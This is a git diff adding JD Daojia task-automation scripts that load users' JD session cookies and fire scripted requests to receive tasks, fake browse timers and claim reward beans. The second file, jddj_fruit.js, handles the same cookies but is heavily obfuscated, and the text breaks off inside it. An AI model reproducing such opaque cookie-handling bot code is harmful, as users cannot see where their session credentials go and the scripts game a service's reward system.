+} +//exports['CookieJDs'] = CookieJDs; diff --git a/jddj_bean.js b/jddj_bean.js new file mode 100644 index 0000000..d2578ed --- /dev/null +++ b/jddj_bean.js @@ -0,0 +1,248 @@ +/* +京东到家鲜豆任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 + +[task_local] +10 0 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_bean.js + +[Script] +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_bean.js,tag=京东到家鲜豆任务 + +*/ + +const $ = new API("jddj_bean"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = ''; +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie.trim()) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action\n抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await runTask(tslist); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10001%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + var data = JSON.parse(response.body); + //console.log(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【任务列表】:' + error); + resolve({}); + } + + }) +} + + +async function runTask(tslist) { + return new Promise(async resolve => { + try { + for (let index = 0; index < tslist.result.taskInfoList.length; index++) { + const item = tslist.result.taskInfoList[index]; + + //领取任务 + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Freceived&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取任务【' + item.taskName + '】:' + msg); + }) + + if (item.browseTime > -1) { + for (let t = 0; t < parseInt(item.browseTime); t++) { + await $.wait(1000); + console.log('计时:' + (t + 1) + '秒...'); + } + } + + //结束任务 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Ffinished&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n任务完成【' + item.taskName + '】:' + msg); + }) + + //领取奖励 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2FsendPrize&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取奖励【' + item.taskName + '】:' + msg); + }) + + } + resolve(); + } catch (error) { + console.log('\n【执行任务】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/jddj_bean.json b/jddj_bean.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_bean.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_fruit.js b/jddj_fruit.js new file mode 100644 index 0000000..db2e4ed --- /dev/null +++ b/jddj_fruit.js @@ -0,0 +1,27 @@ +/* +v6.3 +京东到家果园任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json + +[task_local] +10 0,3,8,11,17 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit.js + +[Script] +cron "10 0,3,8,11,17 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit.js,tag=京东到家果园任务 + +*/ + +let isNotify = true;//是否通知,仅限nodejs +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH + +function _0x43f741(_0x2c5e7b,_0x4f2c12,_0x1ee522,_0x545e76,_0x47e930){return _0x4699(_0x2c5e7b- -0x9,_0x1ee522);}(function(_0x42a832,_0x4381a5){function _0x57e53c(_0x52d1bd,_0x5e4bc9,_0x62315f,_0x30a150,_0x4324d5){return _0x4699(_0x62315f-0x271,_0x4324d5);}function _0x257f5f(_0x3ae1df,_0x5adab7,_0x4a107d,_0x34d8c5,_0x416ca2){return _0x4699(_0x34d8c5-0x291,_0x416ca2);}const _0x499704=_0x42a832();function _0x2dc33a(_0x6b2b84,_0x52ec37,_0x46bca5,_0x27e2d4,_0x4c46da){return _0x4699(_0x4c46da-0x17b,_0x27e2d4);}function _0x40fe8e(_0x3af446,_0x30249d,_0x5f992,_0x43a2e0,_0x2b3bc4){return _0x4699(_0x2b3bc4- -0x10,_0x30249d);}function _0x26a6d2(_0x48e65b,_0x307d98,_0x11aaa8,_0xe950cb,_0x130ef4){return _0x4699(_0x307d98- -0x1ac,_0xe950cb);}while(!![]){try{const _0xd84d49=-parseInt(_0x257f5f(0x9a4,0xfb5,0xfbe,0x1129,'\x47\x38\x4e\x52'))/(-0x3*0xab6+-0x160+0x2183)+parseInt(_0x57e53c(0xd9e,0x158f,0xfa9,0xb25,'\x62\x77\x6a\x54'))/(-0x2*0x89e+-0x2b*-0x29+-0xb*-0xf1)+parseInt(_0x2dc33a(0x97a,0x83e,0xa2c,'\x6b\x59\x6b\x44',0xa98))/(-0x2b0*0xd+0x1501*0x1+0xdf2)+-parseInt(_0x57e53c(0x19a7,0x1760,0x14e6,0x1964,'\x42\x23\x5e\x5b'))/(0x4a3*0x5+-0xe92+0x1f*-0x47)+parseInt(_0x40fe8e(-0x193,'\x57\x73\x5d\x21',-0x2cc,0x908,0x4d1))/(-0xea5+0x3*-0x1f7+0x148f*0x1)*(parseInt(_0x57e53c(0x950,0x14a7,0xcee,0x39c,'\x6b\x5e\x4e\x4d'))/(0x170+0x1f5a+-0x24*0xe9))+parseInt(_0x26a6d2(0x849,0xf6b,0x8a6,'\x6b\x5e\x4e\x4d',0xaae))/(-0x8c5*-0x2+0x1dd7*-0x1+-0x41c*-0x3)*(parseInt(_0x2dc33a(0x50b,0xa25,0xf38,'\x24\x6e\x5d\x79',0xa15))/(0x61*-0x1+0x9*0x17+0x33*-0x2))+-parseInt(_0x40fe8e(-0x689,'\x5a\x30\x31\x38',0x62d,0xfd,0x2d2))/(-0x1ae7+0x188c+0x264)*(parseInt(_0x2dc33a(0x14e8,0x9f3,0x849,'\x24\x6e\x5d\x79',0xebd))/(0x1*0x8cf+-0x2b9+-0xac*0x9));if(_0xd84d49===_0x4381a5)break;else _0x499704['push'](_0x499704['shift']());}catch(_0x239553){_0x499704['push'](_0x499704['shift']());}}}(_0x10a8,-0x27*-0xc45+0x7*-0xa511+0x85991));const _0x3bfb29=(function(){function _0x4838a3(_0x3a1681,_0x2080d3,_0x5460e3,_0x1042d5,_0x124dc4){return _0x4699(_0x3a1681- -0x276,_0x124dc4);}function _0x1b06ee(_0x43031b,_0xa9c4d2,_0x21cd60,_0x21c5b9,_0x4644fe){return _0x4699(_0xa9c4d2-0x70,_0x4644fe);}function _0x483ecc(_0x26bf35,_0x1f5bf9,_0x1fdb0f,_0x121c29,_0x3d288e){return _0x4699(_0x3d288e- -0x37e,_0x1f5bf9);}function _0x380821(_0x398a98,_0x294714,_0x548d2b,_0xed822e,_0x1d41be){return _0x4699(_0x1d41be-0x9e,_0xed822e);}const _0x518448={'\x43\x78\x6b\x72\x41':_0x376fe4(0x104a,0x1586,0x17e1,0x18d8,'\x46\x6f\x5e\x6c')+_0x376fe4(0xf33,0x111e,0xc19,0x642,'\x53\x41\x31\x35')+_0x1b06ee(0x2c7,0x533,0x7af,-0x38c,'\x78\x56\x67\x4f')+_0x483ecc(0x398,'\x42\x23\x5e\x5b',-0x288,-0x230,0x13f)+_0x4838a3(0x34f,0x2f4,-0x54c,-0x3c4,'\x53\x34\x6c\x29'),'\x7a\x73\x67\x48\x72':function(_0x2f2a0d,_0x22c89b){return _0x2f2a0d+_0x22c89b;},'\x67\x57\x6f\x69\x4b':_0x483ecc(-0x4ff,'\x77\x40\x43\x59',0x135,0x370,-0x11b),'\x45\x74\x4b\x57\x4f':function(_0x508925,_0x38a6be){return _0x508925===_0x38a6be;},'\x6c\x67\x7a\x6c\x59':_0x483ecc(0xd86,'\x36\x6c\x21\x41',0x74f,0x86c,0x8be),'\x67\x6e\x66\x64\x6b':function(_0x4e4c97,_0x207ec1){return _0x4e4c97===_0x207ec1;},'\x55\x4b\x74\x66\x4f':_0x376fe4(0x1620,0x1f0a,0x15e7,0x1853,'\x4f\x4f\x25\x29'),'\x64\x5a\x7a\x41\x57':_0x1b06ee(0x143b,0x1021,0x10de,0xa7d,'\x5d\x78\x21\x39'),'\x4f\x73\x59\x53\x41':_0x4838a3(0x1185,0xba9,0x17ab,0xd5b,'\x32\x49\x5b\x49')};function _0x376fe4(_0x42e9e9,_0x28c6ad,_0x2f09b0,_0x1ea28c,_0x36598a){return _0x4699(_0x42e9e9-0x39c,_0x36598a);}let _0x59f41c=!![];return function(_0x2b89d6,_0x332be3){function _0x5df1a0(_0x4c7477,_0x349ffb,_0x2d61b8,_0x3d75e1,_0x43a985){return _0x4838a3(_0x349ffb-0x2d6,_0x349ffb-0x12e,_0x2d61b8-0x1a3,_0x3d75e1-0x1e,_0x2d61b8);}function _0x257666(_0x4b5c07,_0x559923,_0x1aaa32,_0x4cfd28,_0x425085){return _0x380821(_0x4b5c07-0xbb,_0x559923-0x16f,_0x1aaa32-0x1e1,_0x425085,_0x1aaa32-0x200);}function _0x274524(_0x5b057a,_0x30a06e,_0x531dd6,_0x20966e,_0x149da7){return _0x483ecc(_0x5b057a-0x177,_0x149da7,_0x531dd6-0xab,_0x20966e-0x166,_0x5b057a-0x57f);}const _0x40bb73={'\x68\x4e\x51\x79\x62':_0x518448[_0x1d87ac(-0x55c,0x51a,-0x497,'\x33\x2a\x64\x68',0xf4)],'\x46\x76\x72\x61\x50':function(_0x33854b,_0x533a6d){function _0x418a9d(_0x400b31,_0x5da8f1,_0x26fb82,_0x57a6fb,_0x27ee8c){return _0x1d87ac(_0x400b31-0xe7,_0x5da8f1-0x9a,_0x26fb82-0x1ad,_0x26fb82,_0x5da8f1-0x653);}return _0x518448[_0x418a9d(0x12bf,0x108a,'\x77\x40\x43\x59',0xad3,0x1360)](_0x33854b,_0x533a6d);},'\x47\x56\x63\x49\x57':_0x518448[_0x1d87ac(0x9d7,0x110d,0x436,'\x36\x57\x6b\x69',0x832)],'\x74\x43\x58\x4b\x6b':function(_0x12fa99,_0x318524){function _0x331f7d(_0x4d68ea,_0x3c89c1,_0x121de8,_0x16f04d,_0x2fae97){return _0x1d87ac(_0x4d68ea-0x10a,_0x3c89c1-0x1a6,_0x121de8-0xb9,_0x121de8,_0x2fae97-0x525);}return _0x518448[_0x331f7d(0x966,0x4c,'\x29\x52\x4b\x66',0x106,0x484)](_0x12fa99,_0x318524);},'\x45\x6e\x66\x56\x54':_0x518448[_0x1d87ac(0xbb3,0x3d6,0x26a,'\x52\x59\x64\x49',0xb44)],'\x53\x48\x58\x77\x4a':function(_0x44a4f0,_0x459094){function _0x4d66e9(_0x4c1c0b,_0x22aff6,_0x4f4165,_0x58a995,_0x294b89){return _0x274524(_0x58a995- -0x2a0,_0x22aff6-0x154,_0x4f4165-0x1a9,_0x58a995-0x1ea,_0x22aff6);}return _0x518448[_0x4d66e9(0x9cf,'\x78\x56\x67\x4f',0x95a,0x1017,0x138d)](_0x44a4f0,_0x459094);},'\x52\x64\x45\x4b\x73':_0x518448[_0x257666(0x1080,0x76a,0xe37,0x6b4,'\x52\x7a\x58\x2a')]};function _0xc969ce(_0x2ae7ac,_0x481688,_0x329c62,_0x2295d3,_0x28a0ed){return _0x483ecc(_0x2ae7ac-0x1a3,_0x28a0ed,_0x329c62-0x16d,_0x2295d3-0x12c,_0x481688-0x67f);}function _0x1d87ac(_0x1e227f,_0x30a701,_0x4e8b2f,_0x38fb93,_0x29ad93){return _0x483ecc(_0x1e227f-0x105,_0x38fb93,_0x4e8b2f-0x175,_0x38fb93-0xe7,_0x29ad93-0x1a);}if(_0x518448[_0x1d87ac(0xec2,0xe28,0x417,'\x29\x52\x4b\x66',0xbe8)](_0x518448[_0xc969ce(0x72a,0xaa1,0xf59,0xfc6,'\x6b\x59\x6b\x44')],_0x518448[_0x5df1a0(0xfaa,0xb79,'\x4f\x40\x44\x71',0xafa,0x4fd)]))_0x1f7734=_0x52713e[_0x5df1a0(0x1676,0xdfa,'\x35\x37\x26\x25',0x9c0,0x1556)];else{const _0x294e8a=_0x59f41c?function(){function _0x9c3b50(_0x13e58e,_0x1347a7,_0x136469,_0x1e3e64,_0x35410e){return _0xc969ce(_0x13e58e-0x10,_0x1347a7- -0x676,_0x136469-0xf0,_0x1e3e64-0xb4,_0x13e58e);}function _0x3f1ad7(_0x4cd4b0,_0x96c87d,_0x1bb410,_0x1b6d33,_0x5860ac){return _0x257666(_0x4cd4b0-0xe4,_0x96c87d-0x42,_0x4cd4b0- -0x3c4,_0x1b6d33-0x189,_0x5860ac);}function _0x57da6f(_0x202fd8,_0x12086c,_0x4ef984,_0x51e226,_0x187b77){return _0x257666(_0x202fd8-0x145,_0x12086c-0x139,_0x202fd8- -0xe7,_0x51e226-0x1ee,_0x12086c);}function _0x37d72a(_0x103cdb,_0x5a3d35,_0xf2ac17,_0x4bfd05,_0x27a349){return _0x274524(_0x103cdb- -0x467,_0x5a3d35-0x38,_0xf2ac17-0x17d,_0x4bfd05-0xd5,_0x4bfd05);}function _0x2c5285(_0x47f9e1,_0x1d2d8a,_0x508a42,_0x91aab6,_0x4c1ca8){return _0x5df1a0(_0x47f9e1-0x120,_0x4c1ca8- -0x6a,_0x91aab6,_0x91aab6-0x106,_0x4c1ca8-0xfa);}if(_0x40bb73[_0x3f1ad7(0xd4,-0x10a,-0x6dc,-0xcf,'\x6e\x70\x4f\x48')](_0x40bb73[_0x3f1ad7(0x94f,0x42c,0x52,0x450,'\x5d\x5d\x4d\x42')],_0x40bb73[_0x9c3b50('\x4f\x40\x44\x71',-0x17,0x76e,-0x84d,-0x190)])){if(_0x332be3){if(_0x40bb73[_0x3f1ad7(0xe80,0x1556,0x16bd,0xf68,'\x6d\x5e\x6e\x43')](_0x40bb73[_0x57da6f(0xffe,'\x53\x28\x21\x51',0xb4c,0x11f8,0x1175)],_0x40bb73[_0x9c3b50('\x24\x6e\x5d\x79',-0x89,0x7e8,0x5b0,0x545)])){const _0x29c5b3=_0x332be3[_0x2c5285(0x1085,0x133c,0x757,'\x53\x28\x21\x51',0xaf0)](_0x2b89d6,arguments);return _0x332be3=null,_0x29c5b3;}else _0x307061[_0x37d72a(0xe6a,0x16a5,0xa6d,'\x78\x56\x67\x4f',0xd3a)](_0x40bb73[_0x37d72a(0x37c,0x7a7,0x8c6,'\x47\x28\x51\x45',0x7c8)]);}}else _0x279655=_0x40bb73[_0x37d72a(0x128,0x637,0x46a,'\x5a\x30\x31\x38',0x9)](_0x40bb73[_0x37d72a(0x878,0x626,0xe5f,'\x77\x40\x43\x59',0x101c)](_0x3dcb1f[_0x9c3b50('\x4f\x40\x44\x71',0xec2,0x92e,0x121f,0x5eb)],_0x40bb73[_0x37d72a(0x5af,0x284,0x8ca,'\x76\x25\x48\x64',-0x2bd)]),_0x20f05a[_0x9c3b50('\x32\x49\x5b\x49',0xdbf,0xb94,0xcfc,0x1195)+'\x74'][_0x3f1ad7(0x53b,0x7f3,0x538,0x83f,'\x53\x28\x21\x51')+_0x57da6f(0x12a3,'\x5d\x5d\x4d\x42',0x1ac2,0xbe3,0xa60)]);}:function(){};return _0x59f41c=![],_0x294e8a;}};}()),_0x12808f=_0x3bfb29(this,function(){function _0x6eac41(_0x16d777,_0x34c040,_0x2485e1,_0x5d8a16,_0x210713){return _0x4699(_0x210713-0x30,_0x5d8a16);}const _0x537454={'\x54\x62\x68\x6b\x76':_0x3de6b8(0x1006,0x1097,0x13e4,0xe46,'\x35\x37\x26\x25')+_0x3de6b8(0x1203,0xf42,0xc75,0x1b3b,'\x63\x66\x74\x31')+'\x2b\x24'};function _0xef9e46(_0x5b907a,_0x985981,_0x3d7fa1,_0x4909c8,_0x3b77c7){return _0x4699(_0x4909c8- -0x236,_0x985981);}function _0x40a5e4(_0x5cc4e4,_0x1afb9c,_0x555235,_0x345ba9,_0x137988){return _0x4699(_0x1afb9c-0x3d9,_0x345ba9);}function _0x55c8b2(_0x2757e1,_0x5ebfdc,_0x4046ea,_0x4ac329,_0x3ec4ff){return _0x4699(_0x3ec4ff-0x2b2,_0x2757e1);}function _0x3de6b8(_0x1b1675,_0x1d6bb4,_0x62eb87,_0x362abc,_0x28d4a4){return _0x4699(_0x1b1675-0x2f6,_0x28d4a4);}return _0x12808f[_0xef9e46(0x4b6,'\x50\x21\x6c\x48',0x77b,0xd02,0xf4d)+_0xef9e46(-0x14c,'\x5d\x78\x21\x39',0x425,0x451,0x757)]()[_0xef9e46(0xf77,'\x53\x41\x31\x35',0xdb9,0x824,-0x63)+'\x68'](_0x537454[_0x6eac41(0x934,0x847,0x1014,'\x5a\x30\x31\x38',0xffd)])[_0x55c8b2('\x4f\x4f\x25\x29',0x850,0xcfb,-0x132,0x627)+_0x3de6b8(0xe2e,0x86e,0xf0b,0x608,'\x53\x34\x6c\x29')]()[_0x40a5e4(0x1756,0x12f2,0x1c3f,'\x42\x23\x5e\x5b',0xf20)+_0x3de6b8(0x1590,0x1928,0x108a,0xfce,'\x50\x21\x6c\x48')+'\x72'](_0x12808f)[_0x6eac41(0x1a5a,0x167f,0x163d,'\x76\x78\x62\x62',0x1233)+'\x68'](_0x537454[_0x55c8b2('\x6d\x5e\x6e\x43',0x115a,0x12ad,0x1232,0xb2e)]);});function _0x4699(_0x5049a7,_0x406c74){const _0xed7680=_0x10a8();return _0x4699=function(_0x46c23d,_0x2dae12){_0x46c23d=_0x46c23d-(0x227c+-0x1770+-0x63*0x18);let _0x36d332=_0xed7680[_0x46c23d];if(_0x4699['\x5a\x61\x66\x45\x6e\x55']===undefined){var _0x593cd5=function(_0x198d8e){const _0x246030='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let 